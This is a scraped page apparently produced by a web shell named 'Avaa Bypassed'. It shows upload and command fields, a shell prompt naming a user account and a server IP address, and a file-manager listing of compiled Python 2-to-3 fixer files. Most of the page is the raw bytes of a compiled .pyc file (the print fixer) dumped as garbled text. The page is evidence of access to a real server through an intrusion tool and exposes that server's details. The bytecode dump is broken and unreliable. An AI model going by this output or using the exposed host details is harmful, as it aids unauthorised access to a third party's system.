[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.16.75.176: ~ $
U

��,a�@sldZddlmZddlmZddlmZddlmZddlmZm	Z	m
Z
mZe�d�Z
Gdd	�d	ej�Zd
S)aFixer for print.

Change:
    'print'          into 'print()'
    'print ...'      into 'print(...)'
    'print ... ,'    into 'print(..., end=" ")'
    'print >>x, ...' into 'print(..., file=x)'

No changes are applied if print_function is imported from __future__

�)�patcomp)�pytree)�token)�
fixer_base)�Name�Call�Comma�Stringz"atom< '(' [atom|STRING|NAME] ')' >c@s$eZdZdZdZdd�Zdd�ZdS)�FixPrintTzP
              simple_stmt< any* bare='print' any* > | print_stmt
              c
Cs�|st�|�d�}|r4|�ttd�g|jd��dS|jdtd�ksJt�|jdd�}t|�dkrvt�	|d�rvdSd}}}|r�|dt
�kr�|dd�}d}|r�|dt�t
jd�kr�t|�d	ks�t�|d��}|d
d�}dd�|D�}|�rd
|d_|dk	�s"|dk	�s"|dk	�rz|dk	�rB|�|dtt|���|dk	�rb|�|dtt|���|dk	�rz|�|d|�ttd�|�}	|j|	_|	S)NZbare�print)�prefix������ z>>r�cSsg|]}|���qS�)�clone)�.0�argrr�</opt/alt/python38/lib64/python3.8/lib2to3/fixes/fix_print.py�
<listcomp>?sz&FixPrint.transform.<locals>.<listcomp>��sep�end�file)�AssertionError�get�replacerrrZchildren�len�parend_expr�matchrr�Leafr�
RIGHTSHIFTr�	add_kwargr	�repr)
�selfZnodeZresultsZ
bare_print�argsrrrZl_argsZn_stmtrrr�	transform%s@
�



zFixPrint.transformcCsNd|_t�|jjt|�t�tjd�|f�}|r@|�	t
��d|_|�	|�dS)Nr�=r)rrZNodeZsymsZargumentrr"r�EQUAL�appendr)r&Zl_nodesZs_kwdZn_exprZ
n_argumentrrrr$Ms
��zFixPrint.add_kwargN)�__name__�
__module__�__qualname__Z
BM_compatibleZPATTERNr(r$rrrrr
s(r
N)�__doc__rrrZpgen2rrZ
fixer_utilrrrr	Zcompile_patternr ZBaseFixr
rrrr�<module>s
�

Filemanager

Name Type Size Permission Actions
__init__.cpython-38.opt-1.pyc File 150 B 0644
__init__.cpython-38.opt-2.pyc File 150 B 0644
__init__.cpython-38.pyc File 150 B 0644
fix_apply.cpython-38.opt-1.pyc File 1.62 KB 0644
fix_apply.cpython-38.opt-2.pyc File 1.54 KB 0644
fix_apply.cpython-38.pyc File 1.65 KB 0644
fix_asserts.cpython-38.opt-1.pyc File 1.26 KB 0644
fix_asserts.cpython-38.opt-2.pyc File 1.19 KB 0644
fix_asserts.cpython-38.pyc File 1.26 KB 0644
fix_basestring.cpython-38.opt-1.pyc File 671 B 0644
fix_basestring.cpython-38.opt-2.pyc File 626 B 0644
fix_basestring.cpython-38.pyc File 671 B 0644
fix_buffer.cpython-38.opt-1.pyc File 816 B 0644
fix_buffer.cpython-38.opt-2.pyc File 747 B 0644
fix_buffer.cpython-38.pyc File 816 B 0644
fix_dict.cpython-38.opt-1.pyc File 3.2 KB 0644
fix_dict.cpython-38.opt-2.pyc File 2.32 KB 0644
fix_dict.cpython-38.pyc File 3.26 KB 0644
fix_except.cpython-38.opt-1.pyc File 2.76 KB 0644
fix_except.cpython-38.opt-2.pyc File 2.32 KB 0644
fix_except.cpython-38.pyc File 2.76 KB 0644
fix_exec.cpython-38.opt-1.pyc File 1.1 KB 0644
fix_exec.cpython-38.opt-2.pyc File 965 B 0644
fix_exec.cpython-38.pyc File 1.13 KB 0644
fix_execfile.cpython-38.opt-1.pyc File 1.64 KB 0644
fix_execfile.cpython-38.opt-2.pyc File 1.51 KB 0644
fix_execfile.cpython-38.pyc File 1.67 KB 0644
fix_exitfunc.cpython-38.opt-1.pyc File 2.26 KB 0644
fix_exitfunc.cpython-38.opt-2.pyc File 2.19 KB 0644
fix_exitfunc.cpython-38.pyc File 2.26 KB 0644
fix_filter.cpython-38.opt-1.pyc File 2.39 KB 0644
fix_filter.cpython-38.opt-2.pyc File 1.95 KB 0644
fix_filter.cpython-38.pyc File 2.39 KB 0644
fix_funcattrs.cpython-38.opt-1.pyc File 984 B 0644
fix_funcattrs.cpython-38.opt-2.pyc File 916 B 0644
fix_funcattrs.cpython-38.pyc File 984 B 0644
fix_future.cpython-38.opt-1.pyc File 792 B 0644
fix_future.cpython-38.opt-2.pyc File 689 B 0644
fix_future.cpython-38.pyc File 792 B 0644
fix_getcwdu.cpython-38.opt-1.pyc File 796 B 0644
fix_getcwdu.cpython-38.opt-2.pyc File 730 B 0644
fix_getcwdu.cpython-38.pyc File 796 B 0644
fix_has_key.cpython-38.opt-1.pyc File 2.85 KB 0644
fix_has_key.cpython-38.opt-2.pyc File 2.29 KB 0644
fix_has_key.cpython-38.pyc File 2.88 KB 0644
fix_idioms.cpython-38.opt-1.pyc File 3.76 KB 0644
fix_idioms.cpython-38.opt-2.pyc File 3.28 KB 0644
fix_idioms.cpython-38.pyc File 3.84 KB 0644
fix_import.cpython-38.opt-1.pyc File 2.73 KB 0644
fix_import.cpython-38.opt-2.pyc File 2.43 KB 0644
fix_import.cpython-38.pyc File 2.73 KB 0644
fix_imports.cpython-38.opt-1.pyc File 4.3 KB 0644
fix_imports.cpython-38.opt-2.pyc File 4.24 KB 0644
fix_imports.cpython-38.pyc File 4.3 KB 0644
fix_imports2.cpython-38.opt-1.pyc File 554 B 0644
fix_imports2.cpython-38.opt-2.pyc File 453 B 0644
fix_imports2.cpython-38.pyc File 554 B 0644
fix_input.cpython-38.opt-1.pyc File 958 B 0644
fix_input.cpython-38.opt-2.pyc File 889 B 0644
fix_input.cpython-38.pyc File 958 B 0644
fix_intern.cpython-38.opt-1.pyc File 1.12 KB 0644
fix_intern.cpython-38.opt-2.pyc File 1.05 KB 0644
fix_intern.cpython-38.pyc File 1.12 KB 0644
fix_isinstance.cpython-38.opt-1.pyc File 1.52 KB 0644
fix_isinstance.cpython-38.opt-2.pyc File 1.21 KB 0644
fix_isinstance.cpython-38.pyc File 1.52 KB 0644
fix_itertools.cpython-38.opt-1.pyc File 1.52 KB 0644
fix_itertools.cpython-38.opt-2.pyc File 1.17 KB 0644
fix_itertools.cpython-38.pyc File 1.52 KB 0644
fix_itertools_imports.cpython-38.opt-1.pyc File 1.51 KB 0644
fix_itertools_imports.cpython-38.opt-2.pyc File 1.43 KB 0644
fix_itertools_imports.cpython-38.pyc File 1.55 KB 0644
fix_long.cpython-38.opt-1.pyc File 713 B 0644
fix_long.cpython-38.opt-2.pyc File 649 B 0644
fix_long.cpython-38.pyc File 713 B 0644
fix_map.cpython-38.opt-1.pyc File 3.03 KB 0644
fix_map.cpython-38.opt-2.pyc File 2.25 KB 0644
fix_map.cpython-38.pyc File 3.03 KB 0644
fix_metaclass.cpython-38.opt-1.pyc File 5.19 KB 0644
fix_metaclass.cpython-38.opt-2.pyc File 3.84 KB 0644
fix_metaclass.cpython-38.pyc File 5.23 KB 0644
fix_methodattrs.cpython-38.opt-1.pyc File 946 B 0644
fix_methodattrs.cpython-38.opt-2.pyc File 870 B 0644
fix_methodattrs.cpython-38.pyc File 946 B 0644
fix_ne.cpython-38.opt-1.pyc File 819 B 0644
fix_ne.cpython-38.opt-2.pyc File 774 B 0644
fix_ne.cpython-38.pyc File 819 B 0644
fix_next.cpython-38.opt-1.pyc File 2.99 KB 0644
fix_next.cpython-38.opt-2.pyc File 2.93 KB 0644
fix_next.cpython-38.pyc File 3.02 KB 0644
fix_nonzero.cpython-38.opt-1.pyc File 931 B 0644
fix_nonzero.cpython-38.opt-2.pyc File 872 B 0644
fix_nonzero.cpython-38.pyc File 931 B 0644
fix_numliterals.cpython-38.opt-1.pyc File 1.01 KB 0644
fix_numliterals.cpython-38.opt-2.pyc File 969 B 0644
fix_numliterals.cpython-38.pyc File 1.01 KB 0644
fix_operator.cpython-38.opt-1.pyc File 4.13 KB 0644
fix_operator.cpython-38.opt-2.pyc File 3.66 KB 0644
fix_operator.cpython-38.pyc File 4.13 KB 0644
fix_paren.cpython-38.opt-1.pyc File 1.37 KB 0644
fix_paren.cpython-38.opt-2.pyc File 1.23 KB 0644
fix_paren.cpython-38.pyc File 1.37 KB 0644
fix_print.cpython-38.opt-1.pyc File 2.22 KB 0644
fix_print.cpython-38.opt-2.pyc File 1.94 KB 0644
fix_print.cpython-38.pyc File 2.3 KB 0644
fix_raise.cpython-38.opt-1.pyc File 2.21 KB 0644
fix_raise.cpython-38.opt-2.pyc File 1.6 KB 0644
fix_raise.cpython-38.pyc File 2.21 KB 0644
fix_raw_input.cpython-38.opt-1.pyc File 803 B 0644
fix_raw_input.cpython-38.opt-2.pyc File 736 B 0644
fix_raw_input.cpython-38.pyc File 803 B 0644
fix_reduce.cpython-38.opt-1.pyc File 1.11 KB 0644
fix_reduce.cpython-38.opt-2.pyc File 1006 B 0644
fix_reduce.cpython-38.pyc File 1.11 KB 0644
fix_reload.cpython-38.opt-1.pyc File 1.13 KB 0644
fix_reload.cpython-38.opt-2.pyc File 1.06 KB 0644
fix_reload.cpython-38.pyc File 1.13 KB 0644
fix_renames.cpython-38.opt-1.pyc File 1.97 KB 0644
fix_renames.cpython-38.opt-2.pyc File 1.89 KB 0644
fix_renames.cpython-38.pyc File 1.97 KB 0644
fix_repr.cpython-38.opt-1.pyc File 853 B 0644
fix_repr.cpython-38.opt-2.pyc File 789 B 0644
fix_repr.cpython-38.pyc File 853 B 0644
fix_set_literal.cpython-38.opt-1.pyc File 1.65 KB 0644
fix_set_literal.cpython-38.opt-2.pyc File 1.58 KB 0644
fix_set_literal.cpython-38.pyc File 1.65 KB 0644
fix_standarderror.cpython-38.opt-1.pyc File 728 B 0644
fix_standarderror.cpython-38.opt-2.pyc File 674 B 0644
fix_standarderror.cpython-38.pyc File 728 B 0644
fix_sys_exc.cpython-38.opt-1.pyc File 1.39 KB 0644
fix_sys_exc.cpython-38.opt-2.pyc File 1.22 KB 0644
fix_sys_exc.cpython-38.pyc File 1.39 KB 0644
fix_throw.cpython-38.opt-1.pyc File 1.77 KB 0644
fix_throw.cpython-38.opt-2.pyc File 1.55 KB 0644
fix_throw.cpython-38.pyc File 1.77 KB 0644
fix_tuple_params.cpython-38.opt-1.pyc File 4.49 KB 0644
fix_tuple_params.cpython-38.opt-2.pyc File 4.17 KB 0644
fix_tuple_params.cpython-38.pyc File 4.49 KB 0644
fix_types.cpython-38.opt-1.pyc File 1.8 KB 0644
fix_types.cpython-38.opt-2.pyc File 1.34 KB 0644
fix_types.cpython-38.pyc File 1.8 KB 0644
fix_unicode.cpython-38.opt-1.pyc File 1.52 KB 0644
fix_unicode.cpython-38.opt-2.pyc File 1.35 KB 0644
fix_unicode.cpython-38.pyc File 1.52 KB 0644
fix_urllib.cpython-38.opt-1.pyc File 5.87 KB 0644
fix_urllib.cpython-38.opt-2.pyc File 5.32 KB 0644
fix_urllib.cpython-38.pyc File 5.87 KB 0644
fix_ws_comma.cpython-38.opt-1.pyc File 1.1 KB 0644
fix_ws_comma.cpython-38.opt-2.pyc File 941 B 0644
fix_ws_comma.cpython-38.pyc File 1.1 KB 0644
fix_xrange.cpython-38.opt-1.pyc File 2.48 KB 0644
fix_xrange.cpython-38.opt-2.pyc File 2.42 KB 0644
fix_xrange.cpython-38.pyc File 2.48 KB 0644
fix_xreadlines.cpython-38.opt-1.pyc File 1.1 KB 0644
fix_xreadlines.cpython-38.opt-2.pyc File 1002 B 0644
fix_xreadlines.cpython-38.pyc File 1.1 KB 0644
fix_zip.cpython-38.opt-1.pyc File 1.55 KB 0644
fix_zip.cpython-38.opt-2.pyc File 1.23 KB 0644
fix_zip.cpython-38.pyc File 1.55 KB 0644